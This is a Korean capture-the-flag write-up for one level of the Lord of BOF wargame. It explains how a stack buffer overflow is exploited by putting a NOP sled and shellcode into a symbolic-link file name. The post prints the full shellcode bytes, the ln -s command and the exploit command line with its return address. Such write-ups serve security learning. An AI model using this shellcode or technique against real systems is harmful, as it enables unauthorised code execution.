코드를 보니 buffer와 모든 argv를 날려버립니다,,,
지금까지 했던 모든 방법이 막혀서 어떻게 해야하나 패닉에 빠졌던...
일단 분석해 봅시다
cp skeleton noteleks
로 복사하고 분석 해봅시다...
leave 에 bp 걸고 실행시킨 다음 스택을 봅시다..
깔끔 하네요,,,
?!?!?!?!?!?!??!?!?!?!?!?!?!?!??!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!??!?!?!?!?!?
마지막에 프로그램 실행 이름이 남아있습니다.
그렇다면....?
심볼릭 링크로 shellcode 넣고 ret를 이부분으로 돌리면 쉘이 실행될거같습니다.
이상하게 전에 쓰던 shellcode가 먹히지를 않습니다.
0xbfffffd2 가 읽을수 없습니다 뭐시기 하면서,,,,
따라서 shellcode를 바꿨습니다.
\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3
로 shellcode를 바꾸고 심볼릭 링크를 겁시다
ln -s exp `python -c 'print "\x90"*200 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`
그리고 공격을 합시다.
다만 주소는 0xbfffffe5 가 아닌 0xbfffffbd 를 사용해서 공격합니다. 그 이유는 0xbfffffe5 에는 /home/vampire 라는 절대 경로가 같이 들어있기 때문에 살짝 뒤로 밀어서 사용합시다.
./`python -c 'print "\x90"*200 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `python -c 'print "A"*44 + "\xbd\xff\xff\xbf"'`
noteleks 의 쉘을 얻었습니다....! 이젠 심볼릭 링크를 풀어주고 skeleton에 심볼릭 링크를 걸어 공격해 주면 풀릴것 같습니다.
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level12] golem -> darkknight (0) | 2017.05.17 |
---|---|
[Level11] skeleton -> golem (0) | 2017.05.17 |
[Level9] troll -> vampire (0) | 2017.05.17 |
[Level 8] orge -> troll (0) | 2017.05.17 |
[Level7] darkelf -> orge (0) | 2017.05.17 |